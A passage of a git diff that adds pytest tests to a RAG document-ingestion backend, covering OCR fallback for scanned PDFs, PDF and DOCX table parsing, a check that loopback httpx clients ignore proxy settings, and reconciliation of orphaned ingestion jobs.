+        assert jid not in ing._jobs, "a terminal DB status must remove the queue"
+    finally:
+        ing._jobs.pop(jid, None)
diff --git a/studio/backend/tests/test_rag_loopback_trust_env.py b/studio/backend/tests/test_rag_loopback_trust_env.py
new file mode 100644
index 0000000000..1945e09982
--- /dev/null
+++ b/studio/backend/tests/test_rag_loopback_trust_env.py
@@ -0,0 +1,52 @@
+"""AST test locking in the RAG loopback trust_env fix: every httpx client/call in the RAG
+package (all target the local 127.0.0.1 llama-server) must set trust_env=False."""
+
+import ast
+import os
+
+RAG_DIR = os.path.join(os.path.dirname(os.path.dirname(os.path.abspath(__file__))), "core", "rag")
+HTTPX_CALLEES = {"get", "post", "stream", "request", "Client", "AsyncClient"}
+
+
+def _httpx_calls(path):
+    with open(path, encoding = "utf-8") as f:
+        tree = ast.parse(f.read(), filename = path)
+    calls = []
+    for node in ast.walk(tree):
+        if not isinstance(node, ast.Call):
+            continue
+        func = node.func
+        if (
+            isinstance(func, ast.Attribute)
+            and func.attr in HTTPX_CALLEES
+            and isinstance(func.value, ast.Name)
+            and func.value.id == "httpx"
+        ):
+            calls.append(node)
+    return calls
+
+
+def _sets_trust_env_false(call):
+    for kw in call.keywords:
+        if kw.arg == "trust_env" and isinstance(kw.value, ast.Constant) and kw.value.value is False:
+            return True
+    return False
+
+
+def test_rag_loopback_httpx_clients_disable_trust_env():
+    # Scan every .py in the package so a new file with an httpx call can't bypass this.
+    checked = 0
+    for fname in sorted(f for f in os.listdir(RAG_DIR) if f.endswith(".py")):
+        path = os.path.join(RAG_DIR, fname)
+        for call in _httpx_calls(path):
+            checked += 1
+            assert _sets_trust_env_false(call), (
+                f"httpx.{call.func.attr} at {fname}:{call.lineno} must set trust_env=False "
+                f"(loopback llama-server client must not honor ambient HTTP(S)_PROXY)"
+            )
+    assert checked >= 3, f"expected at least 3 loopback httpx calls, found {checked}"
+
+
+if __name__ == "__main__":
+    test_rag_loopback_httpx_clients_disable_trust_env()
+    print("OK: all RAG loopback httpx clients set trust_env=False")
diff --git a/studio/backend/tests/test_rag_ocr_fallback.py b/studio/backend/tests/test_rag_ocr_fallback.py
new file mode 100644
index 0000000000..c7be1fe60b
--- /dev/null
+++ b/studio/backend/tests/test_rag_ocr_fallback.py
@@ -0,0 +1,259 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Scanned-PDF OCR fallback: a PDF page with no text layer is rendered and transcribed
+by the vision model during ingestion, so image-only PDFs become searchable. The vision
+call is stubbed, so no model is needed."""
+
+import pymupdf
+
+from core.rag import captioner, ingestion, parsers, store, tool
+
+
+def _image_only_pdf(path, *, pages = 1):
+    """A PDF whose pages carry only a raster image, so get_text returns ''."""
+    doc = pymupdf.open()
+    pix = pymupdf.Pixmap(pymupdf.csRGB, pymupdf.IRect(0, 0, 120, 120))
+    pix.clear_with(220)
+    for _ in range(pages):
+        page = doc.new_page()
+        page.insert_image(page.rect, pixmap = pix)
+    doc.save(str(path))
+    doc.close()
+
+
+def _text_pdf(path, body):
+    doc = pymupdf.open()
+    page = doc.new_page()
+    page.insert_textbox(pymupdf.Rect(40, 40, 550, 800), body, fontsize = 11)
+    doc.save(str(path))
+    doc.close()
+
+
+def _ingest(rag_conn, thread_id, filename, path):
+    """Drive the real ingestion worker synchronously and return the document row."""
+    scope = store.thread_scope(thread_id)
+    document_id = store.create_document(
+        rag_conn,
+        scope = scope,
+        filename = filename,
+        sha256 = filename,
+        thread_id = thread_id,
+        status = "pending",
+        stored_path = str(path),
+    )
+    job_id = ingestion._new_job(rag_conn, document_id, scope)
+    ingestion._run(job_id, document_id, scope, str(path), None)
+    return store.get_document(rag_conn, document_id)
+
+
+# ── parsers.render_pdf_pages ─────────────────────────────────────────
+
+
+def test_render_pdf_pages_returns_png_per_page(tmp_path):
+    pdf = tmp_path / "two.pdf"
+    _image_only_pdf(pdf, pages = 2)
+    out = parsers.render_pdf_pages(str(pdf), [1, 2], dpi = 72)
+    assert set(out) == {1, 2}
+    assert all(b.startswith(b"\x89PNG") for b in out.values())
+
+
+def test_render_pdf_pages_excludes_unwanted(tmp_path):
+    pdf = tmp_path / "three.pdf"
+    _image_only_pdf(pdf, pages = 3)
+    out = parsers.render_pdf_pages(str(pdf), [2], dpi = 72)
+    assert set(out) == {2}
+
+
+def test_render_pdf_pages_empty_request(tmp_path):
+    pdf = tmp_path / "one.pdf"
+    _image_only_pdf(pdf, pages = 1)
+    assert parsers.render_pdf_pages(str(pdf), [], dpi = 72) == {}
+
+
+# ── captioner.ocr_pages gating ───────────────────────────────────────
+
+
+def test_ocr_pages_no_endpoint(monkeypatch):
+    monkeypatch.setattr(captioner, "vision_endpoint", lambda: None)
+    assert captioner.ocr_pages({1: b"x"}) == {}
+
+
+def test_collapse_runaway_caps_repeated_lines():
+    # A looping model repeats a line hundreds of times; the guard caps it, keeps repeats.
+    text = "\n".join(["TITLE"] * 200 + ["body"] + ["Add & Norm"] * 3)
+    out = captioner._collapse_runaway(text)
+    lines = out.splitlines()
+    assert lines.count("TITLE") == 3  # 200 -> 3
+    assert lines.count("Add & Norm") == 3  # legitimate triple survives
+    assert "body" in lines
+
+
+def test_collapse_runaway_caps_interleaved_repeats():
+    # Models also loop non-consecutively; the global per-line cap bounds those too.
+    text = "\n".join(["Llion Vaswani Google", "Niki Parmar Google"] * 40)
+    out = captioner._collapse_runaway(text)
+    lines = [ln for ln in out.splitlines() if ln.strip()]
+    assert lines.count("Llion Vaswani Google") <= 8
+    assert lines.count("Niki Parmar Google") <= 8
+
+
+def test_collapse_runaway_noop_on_normal_text():
+    text = "Heading\n\nFirst paragraph.\nSecond paragraph.\n\nFooter"
+    assert captioner._collapse_runaway(text) == text
+
+
+def test_ocr_pages_applies_runaway_guard(monkeypatch):
+    monkeypatch.setattr(captioner.config, "OCR_SCANNED", True)
+    monkeypatch.setattr(captioner, "_ocr_one", lambda *a: "\n".join(["X"] * 50))
+    out = captioner.ocr_pages({1: b"img"}, endpoint = ("http://x", "local"))
+    assert out[1].splitlines().count("X") == 3  # guard applied to stored text
+
+
+def test_ocr_pages_transcribes_and_caps(monkeypatch):
+    monkeypatch.setattr(captioner.config, "OCR_SCANNED", True)
+    monkeypatch.setattr(captioner.config, "OCR_MAX_PAGES", 1)
+    calls = []
+    monkeypatch.setattr(
+        captioner,
+        "_ocr_one",
+        lambda base, model, b, t: (calls.append(1) or "transcribed text"),
+    )
+    out = captioner.ocr_pages({1: b"a", 2: b"b"}, endpoint = ("http://x", "local"))
+    assert out == {1: "transcribed text"}  # page 2 dropped by the cap
+    assert len(calls) == 1
+
+
+def test_ocr_scanned_pages_merges_short_text_layer(rag_conn, monkeypatch):
+    # Near-empty pages can still have meaningful extractable text; OCR augments it
+    # rather than replacing it with a fallible vision transcription.
+    scope = store.thread_scope("t1")
+    document_id = store.create_document(rag_conn, scope = scope, filename = "scan.pdf", sha256 = "h")
+    job_id = ingestion._new_job(rag_conn, document_id, scope)
+    pages = [parsers.Page("ID-42", 1, 5)]
+
+    monkeypatch.setattr(captioner.config, "OCR_SCANNED", True)
+    monkeypatch.setattr(captioner.config, "OCR_MIN_CHARS", 16)
+    monkeypatch.setattr(captioner, "vision_endpoint", lambda: ("http://x", "local"))
+    monkeypatch.setattr(parsers, "render_pdf_pages", lambda *a, **k: {1: b"png"})
+    monkeypatch.setattr(captioner, "ocr_pages", lambda page_pngs: {1: "OCR body text"})
+
+    out, ocred = ingestion._ocr_scanned_pages(pages, "scan.pdf", rag_conn, job_id)
+    assert ocred == {1}
+    assert out[0].text == "ID-42\n\nOCR body text"
+
+
+# ── end-to-end ingestion ─────────────────────────────────────────────
+
+
+def test_scanned_pdf_is_ocred_into_chunks(rag_conn, stub_embeddings, monkeypatch, tmp_path):
+    monkeypatch.setattr(captioner.config, "OCR_SCANNED", True)
+    monkeypatch.setattr(captioner, "vision_endpoint", lambda: ("http://x", "local"))
+    monkeypatch.setattr(
+        captioner, "_ocr_one", lambda base, model, b, t: "Invoice total is zebra-42 due Friday"
+    )
+
+    pdf = tmp_path / "scan.pdf"
+    _image_only_pdf(pdf, pages = 1)
+    doc = _ingest(rag_conn, "t1", "scan.pdf", pdf)
+
+    assert doc["status"] == "completed"
+    assert doc["num_chunks"] >= 1
+    # The OCR'd text is now indexed and reaches whole-document injection.
+    text, _sources = tool.whole_document_context(scope_thread_id = "t1", max_tokens = 6000)
+    assert "zebra-42" in text
+
+
+def test_scanned_page_past_ocr_cap_is_still_captioned(
+    rag_conn, stub_embeddings, monkeypatch, tmp_path
+):
+    # OCR is capped to one page, so page 2 is scanned but never transcribed. Figure
+    # captioning must still cover it (we exclude only the pages OCR actually handled),
+    # so a chart on an un-OCR'd scanned page is not silently dropped.
+    monkeypatch.setattr(captioner.config, "OCR_SCANNED", True)
+    monkeypatch.setattr(captioner.config, "OCR_MAX_PAGES", 1)
+    monkeypatch.setattr(captioner.config, "CAPTION_IMAGES", True)
+    monkeypatch.setattr(captioner, "vision_endpoint", lambda: ("http://x", "local"))
+    monkeypatch.setattr(captioner, "_ocr_one", lambda *a: "scanned page alpha")
+    monkeypatch.setattr(captioner, "_caption_one", lambda *a: "figure caption bravo")
+
+    pdf = tmp_path / "scan2.pdf"
+    _image_only_pdf(pdf, pages = 2)
+    doc = _ingest(rag_conn, "t1", "scan2.pdf", pdf)
+
+    assert doc["status"] == "completed"
+    text, _ = tool.whole_document_context(scope_thread_id = "t1", max_tokens = 6000)
+    assert "scanned page alpha" in text  # page 1 OCR'd, within the cap
+    assert "figure caption bravo" in text  # page 2 past the cap -> captioned, not dropped
+
+
+def test_born_digital_pdf_skips_ocr(rag_conn, stub_embeddings, monkeypatch, tmp_path):
+    called = []
+    monkeypatch.setattr(captioner.config, "OCR_SCANNED", True)
+    monkeypatch.setattr(captioner, "_ocr_one", lambda *a: called.append(1) or "should not run")
+
+    pdf = tmp_path / "digital.pdf"
+    _text_pdf(pdf, "Real born digital body text. " * 30 + "marker-quokka")
+    doc = _ingest(rag_conn, "t1", "digital.pdf", pdf)
+
+    assert doc["status"] == "completed"
+    assert called == []  # page had real text -> never considered scanned
+    text, _sources = tool.whole_document_context(scope_thread_id = "t1", max_tokens = 6000)
+    assert "marker-quokka" in text
+
+
+def _ingest_with_ocr(rag_conn, thread_id, path, ocr):
+    scope = store.thread_scope(thread_id)
+    document_id = store.create_document(
+        rag_conn,
+        scope = scope,
+        filename = "scan.pdf",
+        sha256 = str(path) + str(ocr),
+        thread_id = thread_id,
+        status = "pending",
+        stored_path = str(path),
+    )
+    job_id = ingestion._new_job(rag_conn, document_id, scope)
+    ingestion._run(job_id, document_id, scope, str(path), None, ocr = ocr)
+    return store.get_document(rag_conn, document_id)
+
+
+def test_ocr_override_false_skips_ocr_when_config_on(
+    rag_conn, stub_embeddings, monkeypatch, tmp_path
+):
+    # Config default ON, but the per-upload toggle (ocr=False) skips OCR.
+    monkeypatch.setattr(captioner.config, "OCR_SCANNED", True)
+    monkeypatch.setattr(captioner, "vision_endpoint", lambda: ("http://x", "local"))
+    monkeypatch.setattr(captioner, "_ocr_one", lambda *a: "should not run")
+    pdf = tmp_path / "scan.pdf"
+    _image_only_pdf(pdf, pages = 1)
+    doc = _ingest_with_ocr(rag_conn, "t1", pdf, ocr = False)
+    assert doc["num_chunks"] == 0  # scanned page left empty
+
+
+def test_ocr_override_true_runs_ocr_when_config_off(
+    rag_conn, stub_embeddings, monkeypatch, tmp_path
+):
+    # Config default OFF, but the per-upload toggle (ocr=True) forces OCR on.
+    monkeypatch.setattr(captioner.config, "OCR_SCANNED", False)
+    monkeypatch.setattr(captioner, "vision_endpoint", lambda: ("http://x", "local"))
+    monkeypatch.setattr(captioner, "_ocr_one", lambda *a: "forced ocr text quokka")
+    pdf = tmp_path / "scan.pdf"
+    _image_only_pdf(pdf, pages = 1)
+    doc = _ingest_with_ocr(rag_conn, "t1", pdf, ocr = True)
+    assert doc["num_chunks"] >= 1
+    text, _ = tool.whole_document_context(scope_thread_id = "t1", max_tokens = 6000)
+    assert "quokka" in text
+
+
+def test_ocr_disabled_leaves_scanned_pdf_empty(rag_conn, stub_embeddings, monkeypatch, tmp_path):
+    monkeypatch.setattr(captioner.config, "OCR_SCANNED", False)
+
+    pdf = tmp_path / "scan.pdf"
+    _image_only_pdf(pdf, pages = 1)
+    doc = _ingest(rag_conn, "t1", "scan.pdf", pdf)
+
+    # With OCR off, a text-less scanned page yields no chunks (prior behavior).
+    assert doc["status"] == "completed"
+    assert doc["num_chunks"] == 0
+    assert tool.whole_document_context(scope_thread_id = "t1", max_tokens = 6000) is None
diff --git a/studio/backend/tests/test_rag_parsing.py b/studio/backend/tests/test_rag_parsing.py
new file mode 100644
index 0000000000..14ab0efe2e
--- /dev/null
+++ b/studio/backend/tests/test_rag_parsing.py
@@ -0,0 +1,297 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""PDF text extraction: layout-aware Markdown (pymupdf4llm) with plain-text fallback."""
+
+from __future__ import annotations
+
+import pytest
+
+pytest.importorskip("pymupdf")
+
+
+def _table_pdf(path):
+    import pymupdf
+
+    doc = pymupdf.open()
+    page = doc.new_page()
+    page.insert_textbox(pymupdf.Rect(40, 40, 550, 70), "Quarterly Results", fontsize = 16)
+    rows = [("Quarter", "Revenue", "Growth"), ("Q1", "$1.2M", "12%"), ("Q2", "$1.5M", "25%")]
+    y = 90
+    for r in rows:
+        page.insert_textbox(pymupdf.Rect(40, y, 250, y + 20), r[0], fontsize = 11)
+        page.insert_textbox(pymupdf.Rect(250, y, 400, y + 20), r[1], fontsize = 11)
+        page.insert_textbox(pymupdf.Rect(400, y, 540, y + 20), r[2], fontsize = 11)
+        y += 24
+    doc.save(str(path))
+    doc.close()
+
+
+def test_pdf_extracts_markdown_table(tmp_path, monkeypatch):
+    # With Markdown on, the layout is emitted as Markdown markup (heading, and a pipe table
+    # where the extractor detects one) that flat get_text never produces.
+    pytest.importorskip("pymupdf4llm")
+    from core.rag import config, parsers
+
+    monkeypatch.setattr(config, "PDF_MARKDOWN", True)
+    pdf = tmp_path / "table.pdf"
+    _table_pdf(pdf)
+    text = "\n".join(p.text for p in parsers.parse(str(pdf)))
+    assert "Q2" in text and "$1.5M" in text  # cell values preserved
+    assert "#" in text or "|" in text  # Markdown markup (heading or table pipes)
+
+
+def test_pdf_markdown_off_uses_plain_text(tmp_path, monkeypatch):
+    # The toggle (RAG_PDF_MARKDOWN=0) falls back to flat PyMuPDF text: content is still
+    # there, but with no Markdown markup.
+    from core.rag import config, parsers
+
+    monkeypatch.setattr(config, "PDF_MARKDOWN", False)
+    pdf = tmp_path / "table.pdf"
+    _table_pdf(pdf)
+    text = "\n".join(p.text for p in parsers.parse(str(pdf)))
+    assert "Q2" in text and "$1.5M" in text
+    assert "#" not in text and "|" not in text  # plain text path emits no Markdown markup
+
+
+def test_pdf_markdown_passes_only_supported_legacy_kwargs(monkeypatch):
+    # The pinned PyMuPDF4LLM legacy path ignores unknown kwargs; do not pass the
+    # newer layout-only OCR knobs or Markdown extraction silently loses policy control.
+    from core.rag import parsers
+
+    captured = {}
+
+    class _FakePymupdf4llm:
+        @staticmethod
+        def to_markdown(doc, **kwargs):
+            captured.update(kwargs)
+            return [{"text": "plain markdown"}]
+
+    class _Doc:
+        page_count = 1
+
+    monkeypatch.setitem(__import__("sys").modules, "pymupdf4llm", _FakePymupdf4llm)
+    assert parsers._pdf_markdown(_Doc()) == ["plain markdown"]
+    assert captured == {"page_chunks": True, "show_progress": False}
+
+
+def test_pdf_markdown_falls_back_when_lib_missing(tmp_path, monkeypatch):
+    # If pymupdf4llm extraction returns None (missing/failed), parsing still yields the
+    # plain-text pages rather than raising.
+    from core.rag import config, parsers
+
+    monkeypatch.setattr(config, "PDF_MARKDOWN", True)
+    monkeypatch.setattr(parsers, "_pdf_markdown", lambda doc: None)
+    pdf = tmp_path / "table.pdf"
+    _table_pdf(pdf)
+    pages = parsers.parse(str(pdf))
+    assert pages and "Quarter" in pages[0].text
+
+
+def _long_text_pdf(path):
+    import pymupdf
+
+    doc = pymupdf.open()
+    page = doc.new_page()
+    body = "The quick brown fox jumps over the lazy dog. " * 12  # >200 letters
+    page.insert_textbox(pymupdf.Rect(40, 40, 550, 750), body, fontsize = 11)
+    doc.save(str(path))
+    doc.close()
+
+
+def test_pdf_markdown_corruption_falls_back_to_plain(tmp_path, monkeypatch):
+    # pymupdf4llm can emit shaped RTL Presentation Forms for Arabic/Hebrew; the parser
+    # detects that and uses PyMuPDF's logical-order text instead of the mangled Markdown.
+    from core.rag import config, parsers
+
+    monkeypatch.setattr(config, "PDF_MARKDOWN", True)
+    shaped = "".join(chr(c) for c in range(0xFE8D, 0xFEA0)) * 20  # heavy shaped forms
+    monkeypatch.setattr(parsers, "_pdf_markdown", lambda doc: [shaped] * doc.page_count)
+    pdf = tmp_path / "table.pdf"
+    _table_pdf(pdf)
+    text = "\n".join(p.text for p in parsers.parse(str(pdf)))
+    assert "Quarter" in text  # real logical-order text recovered
+    assert not parsers._markdown_corrupted(text)  # shaped garbage not carried through
+
+
+def test_pdf_markdown_incomplete_falls_back_to_plain(tmp_path, monkeypatch):
+    # If pymupdf4llm silently drops most of a page, the parser prefers the fuller raw layer.
+    from core.rag import config, parsers
+
+    monkeypatch.setattr(config, "PDF_MARKDOWN", True)
+    monkeypatch.setattr(parsers, "_pdf_markdown", lambda doc: ["x"] * doc.page_count)
+    pdf = tmp_path / "long.pdf"
+    _long_text_pdf(pdf)
+    text = "\n".join(p.text for p in parsers.parse(str(pdf)))
+    assert "quick brown fox" in text  # fuller raw layer used, not the near-empty Markdown
+
+
+def _docx_with_table(path):
+    import docx
+
+    document = docx.Document()
+    document.add_paragraph("Intro before table.")
+    table = document.add_table(rows = 2, cols = 2)
+    table.cell(0, 0).text = "NAME"
+    table.cell(0, 1).text = "SCORE"
+    table.cell(1, 0).text = "Alice"
+    table.cell(1, 1).text = "97pts"
+    document.add_paragraph("Outro after table.")
+    document.save(str(path))
+
+
+def test_docx_extracts_table_cells(tmp_path):
+    # document.paragraphs alone drops tables; the parser walks body content in order so
+    # table cells survive (pipe-joined, which the preview locator anchors on).
+    pytest.importorskip("docx")
+    from core.rag import parsers
+
+    docx_path = tmp_path / "t.docx"
+    _docx_with_table(docx_path)
+    text = "\n".join(p.text for p in parsers.parse(str(docx_path)))
+    assert all(v in text for v in ("NAME", "SCORE", "Alice", "97pts"))  # cells kept
+    assert "Alice | 97pts" in text  # row cells joined
+    assert text.index("Intro") < text.index("NAME") < text.index("Outro")  # order kept
+
+
+def test_docx_table_keeps_columns_and_collapses_cell_newlines(tmp_path):
+    # Empty cells are kept (so columns stay aligned across rows) and a cell's internal
+    # newlines are collapsed to spaces (so a multi-paragraph cell can't break the row).
+    pytest.importorskip("docx")
+    import docx
+
+    from core.rag import parsers
+
+    document = docx.Document()
+    table = document.add_table(rows = 2, cols = 3)
+    table.cell(0, 0).text = "A"
+    table.cell(0, 1).text = ""  # empty middle cell
+    table.cell(0, 2).text = "C"
+    multiline = table.cell(1, 0)
+    multiline.text = "line1"
+    multiline.add_paragraph("line2")  # cell now holds an internal newline
+    table.cell(1, 1).text = "mid"
+    table.cell(1, 2).text = "end"
+    path = tmp_path / "aligned.docx"
+    document.save(str(path))
+
+    text = "\n".join(p.text for p in parsers.parse(str(path)))
+    assert "A |  | C" in text  # empty cell preserved -> columns line up
+    assert "line1 line2 | mid | end" in text  # internal newline collapsed to a space
+
+
+def test_docx_table_merged_cell_keeps_grid_alignment(tmp_path):
+    # A horizontally merged cell repeats across the spanned columns: emit its text once
+    # then a placeholder, so the row keeps as many fields as its siblings (columns stay
+    # aligned) without duplicating the merged text.
+    pytest.importorskip("docx")
+    import docx
+
+    from core.rag import parsers
+
+    document = docx.Document()
+    table = document.add_table(rows = 2, cols = 3)
+    table.cell(0, 0).text = "WIDE"
+    table.cell(0, 2).text = "END"
+    table.cell(0, 0).merge(table.cell(0, 1))  # span the first two columns
+    table.cell(1, 0).text = "a"
+    table.cell(1, 1).text = "b"
+    table.cell(1, 2).text = "c"
+    path = tmp_path / "merged.docx"
+    document.save(str(path))
+
+    text = "\n".join(p.text for p in parsers.parse(str(path)))
+    assert text.count("WIDE") == 1  # merged cell not duplicated across spanned columns
+    assert "WIDE |  | END" in text  # placeholder keeps 3 fields, aligned with "a | b | c"
+    assert "a | b | c" in text
+
+
+def test_docx_table_pads_omitted_grid_columns(tmp_path):
+    # A row that skips leading grid columns exposes the gap via grid_cols_before; pad it
+    # with empty fields so the value stays under the right header instead of shifting left.
+    pytest.importorskip("docx")
+    import docx
+    from docx.oxml.ns import qn
+
+    from core.rag import parsers
+
+    document = docx.Document()
+    table = document.add_table(rows = 2, cols = 3)
+    table.cell(0, 0).text = "H1"
+    table.cell(0, 1).text = "H2"
+    table.cell(0, 2).text = "H3"
+    tr = table.rows[1]._tr  # drop the first cell and mark it skipped via <w:gridBefore>
+    tr.remove(tr.tc_lst[0])
+    trPr = tr.get_or_add_trPr()
+    trPr.insert(0, trPr.makeelement(qn("w:gridBefore"), {qn("w:val"): "1"}))
+    table.rows[1].cells[0].text = "X"  # sits in column 2
+    path = tmp_path / "gap.docx"
+    document.save(str(path))
+
+    text = "\n".join(p.text for p in parsers.parse(str(path)))
+    assert " | X | " in text  # leading gap padded so X lines up under H2, not H1
+
+
+def test_docx_flattens_nested_table(tmp_path):
+    # cell.text ignores tables nested inside a cell; walk cell.tables so nested rows are
+    # not silently dropped from the indexed text.
+    pytest.importorskip("docx")
+    import docx
+
+    from core.rag import parsers
+
+    document = docx.Document()
+    outer = document.add_table(rows = 1, cols = 1).cell(0, 0)
+    outer.text = "outer"
+    nested = outer.add_table(rows = 1, cols = 2)
+    nested.cell(0, 0).text = "NESTED-A"
+    nested.cell(0, 1).text = "NESTED-B"
+    path = tmp_path / "nested.docx"
+    document.save(str(path))
+
+    text = "\n".join(p.text for p in parsers.parse(str(path)))
+    assert "NESTED-A | NESTED-B" in text  # nested table flattened, not dropped
+
+
+def test_docx_nested_table_keeps_in_cell_order(tmp_path):
+    # A cell holding paragraph, nested table, paragraph must serialize in that order
+    # (cell.text alone would emit both paragraphs before the nested rows).
+    pytest.importorskip("docx")
+    import docx
+
+    from core.rag import parsers
+
+    document = docx.Document()
+    cell = document.add_table(rows = 1, cols = 1).cell(0, 0)
+    cell.text = "before"
+    nested = cell.add_table(rows = 1, cols = 2)
+    nested.cell(0, 0).text = "NESTED-A"
+    nested.cell(0, 1).text = "NESTED-B"
+    cell.add_paragraph("after")
+    path = tmp_path / "nested_order.docx"
+    document.save(str(path))
+
+    text = "\n".join(p.text for p in parsers.parse(str(path)))
+    assert text.index("before") < text.index("NESTED-A") < text.index("after")
+
+
+def test_docx_table_vertical_merge_emitted_once(tmp_path):
+    # A vertically merged cell maps every continuation row back to the origin <w:tc>;
+    # emit it once and leave placeholders below so a row-spanning label isn't repeated.
+    pytest.importorskip("docx")
+    import docx
+
+    from core.rag import parsers
+
+    document = docx.Document()
+    table = document.add_table(rows = 3, cols = 2)
+    table.cell(0, 0).merge(table.cell(1, 0)).merge(table.cell(2, 0)).text = "SECTION"
+    table.cell(0, 1).text = "r0"
+    table.cell(1, 1).text = "r1"
+    table.cell(2, 1).text = "r2"
+    path = tmp_path / "vmerge.docx"
+    document.save(str(path))
+
+    text = "\n".join(p.text for p in parsers.parse(str(path)))
+    assert text.count("SECTION") == 1  # not repeated on each spanned row
+    assert "SECTION | r0" in text and " | r1" in text and " | r2" in text
diff --git a/studio/backend/tests/test_rag_preview.py b/studio/backend/tests/test_rag_preview.py
index e7f2a39792..0ff27897bd 100644
--- a/studio/backend/tests/test_rag_preview.py
+++ b/studio/backend/tests/test_rag_preview.py
@@ -165,6 +165,25 @@ def test_locator_handles_midword_anchor_and_locates_line():
     assert r["width"] > 0 and r["height"] > 0
 
 
+def test_locator_anchors_through_markdown_table_pipes():
+    # Markdown table cells are pipe-joined with no spaces; the locator splits on pipes
+    # so a table-row chunk still anchors to the raw PDF word stream.
+    import pymupdf
+
+    from core.rag.locators import LocatorMatch, _regions_for_match
+
+    doc = pymupdf.open()
+    page = doc.new_page()
+    page.insert_text((72, 200), "Quarter Revenue Growth Q1 sales strong here", fontsize = 12)
+    # What the Markdown parser stores for the row (cells joined by pipes, no spaces).
+    page_text = "|Quarter|Revenue|Growth|Q1|sales|strong|here|"
+    match = LocatorMatch(page_index = 0, page_number = 1, start = 0, end = len(page_text))
+    rects = _regions_for_match(doc, page_text, match)
+    doc.close()
+
+    assert rects, "a Markdown table row should still anchor to the page words"
+
+
 def test_sign_verify_roundtrip(rag_home):
     from routes import rag as rag_routes
 
diff --git a/studio/backend/tests/test_rag_reconcile_orphaned.py b/studio/backend/tests/test_rag_reconcile_orphaned.py
new file mode 100644
index 0000000000..c6932e4588
--- /dev/null
+++ b/studio/backend/tests/test_rag_reconcile_orphaned.py
@@ -0,0 +1,114 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Startup reconciliation must not strip chunks from already-completed docs.
+
+A crash can leave an ingestion_jobs row non-terminal after the worker already
+committed the document as ``completed`` with all its chunks. Reconciliation flips
+the orphaned job to ``failed`` but must touch the document (and its chunks) only
+when it actually transitions the document to ``failed`` -- otherwise a completed
+source loses every chunk yet still reports ``completed``, so retrieval finds
+nothing and dedup (``status != 'failed'``) blocks re-ingest.
+"""
+
+import math
+
+from core.rag import store
+from core.rag.chunking import Chunk
+from storage import rag_db
+
+VOCAB = ["alpha", "bravo", "charlie", "delta"]
+
+
+def _embed(text):
+    v = [float(text.lower().count(w)) for w in VOCAB]
+    n = math.sqrt(sum(x * x for x in v)) or 1.0
+    return [x / n for x in v]
+
+
+def _chunk(text, index = 0):
+    return Chunk(
+        text = text,
+        token_count = len(text.split()),
+        page_number = None,
+        source_page_index = 0,
+        chunk_index = index,
+        page_char_start = 0,
+        page_char_end = len(text),
+    )
+
+
+def _add_doc(conn, scope, doc_id, status, texts):
+    store.create_document(
+        conn, scope = scope, filename = f"{doc_id}.txt", sha256 = doc_id, document_id = doc_id
+    )
+    store.add_chunks(
+        conn, scope, doc_id, [_chunk(t, i) for i, t in enumerate(texts)], [_embed(t) for t in texts]
+    )
+    store.set_document_status(conn, doc_id, status, num_chunks = len(texts))
+
+
+def _orphan_job(
+    conn,
+    doc_id,
+    scope,
+    status = "running",
+):
+    conn.execute(
+        "INSERT INTO ingestion_jobs(id, document_id, scope, status, stage, progress, created_at) "
+        "VALUES(?,?,?,?,?,?,datetime('now'))",
+        (f"job-{doc_id}", doc_id, scope, status, "embedding", 0.5),
+    )
+    conn.commit()
+
+
+def _chunk_count(conn, doc_id):
+    return conn.execute("SELECT COUNT(*) FROM chunks WHERE document_id=?", (doc_id,)).fetchone()[0]
+
+
+def _job_status(conn, doc_id):
+    return conn.execute(
+        "SELECT status FROM ingestion_jobs WHERE id=?", (f"job-{doc_id}",)
+    ).fetchone()["status"]
+
+
+def test_completed_doc_keeps_chunks_when_its_job_is_orphaned(rag_conn):
+    # Worker finished the document but crashed before retiring the job row.
+    _add_doc(rag_conn, "kb_a", "done", "completed", ["alpha bravo", "charlie delta"])
+    _orphan_job(rag_conn, "done", "kb_a")
+
+    assert rag_db.reconcile_orphaned_ingestion_jobs() == 1
+
+    # Document stays completed with all chunks; dedup still finds it.
+    assert store.get_document(rag_conn, "done")["status"] == "completed"
+    assert _chunk_count(rag_conn, "done") == 2
+    assert store.document_by_hash(rag_conn, "kb_a", "done") == "done"
+    # The orphaned job is reconciled to completed (not failed), so the UI's getJob
+    # fallback doesn't flag a searchable document as a failed ingestion.
+    assert _job_status(rag_conn, "done") == "completed"
+
+
+def test_in_flight_doc_is_failed_and_its_chunks_dropped(rag_conn):
+    # Partial chunks committed, document never marked terminal -> genuine orphan.
+    _add_doc(rag_conn, "kb_a", "partial", "processing", ["alpha bravo"])
+    _orphan_job(rag_conn, "partial", "kb_a")
+
+    assert rag_db.reconcile_orphaned_ingestion_jobs() == 1
+
+    assert store.get_document(rag_conn, "partial")["status"] == "failed"
+    assert _chunk_count(rag_conn, "partial") == 0
+    # Failed doc is re-ingestible (not deduped).
+    assert store.document_by_hash(rag_conn, "kb_a", "partial") is None
+
+
+def test_already_failed_doc_has_its_chunks_dropped(rag_conn):
+    # Worker committed chunks then marked the doc 'failed', but crashed before
+    # retiring the job row. Reconcile won't re-flip the doc (already failed), but
+    # its chunks must still be purged so they aren't retrievable/citable.
+    _add_doc(rag_conn, "kb_a", "failed_doc", "failed", ["alpha bravo"])
+    _orphan_job(rag_conn, "failed_doc", "kb_a")
+
+    assert rag_db.reconcile_orphaned_ingestion_jobs() == 1
+
+    assert store.get_document(rag_conn, "failed_doc")["status"] == "failed"
+    assert _chunk_count(rag_conn, "failed_doc") == 0
diff --git a/studio/backend/tests/test_rag_whole_document.py b/studio/backend/tests/test_rag_whole_document.py
new file mode 100644
index 0000000000..545d731fd2
--- /dev/null
+++ b/studio/backend/tests/test_rag_whole_document.py
@@ -0,0 +1,520 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Whole-document context mode: a thread-attached file small enough to fit is
+injected in full (every chunk, in order) instead of top-K retrieval. Covers the
+new store query, the tool-level renderer, and the auto-inject wiring + fallback.
+No embedder is needed - the whole-doc path does no query embedding."""
+
+import json
+
+from core.rag import store, tool
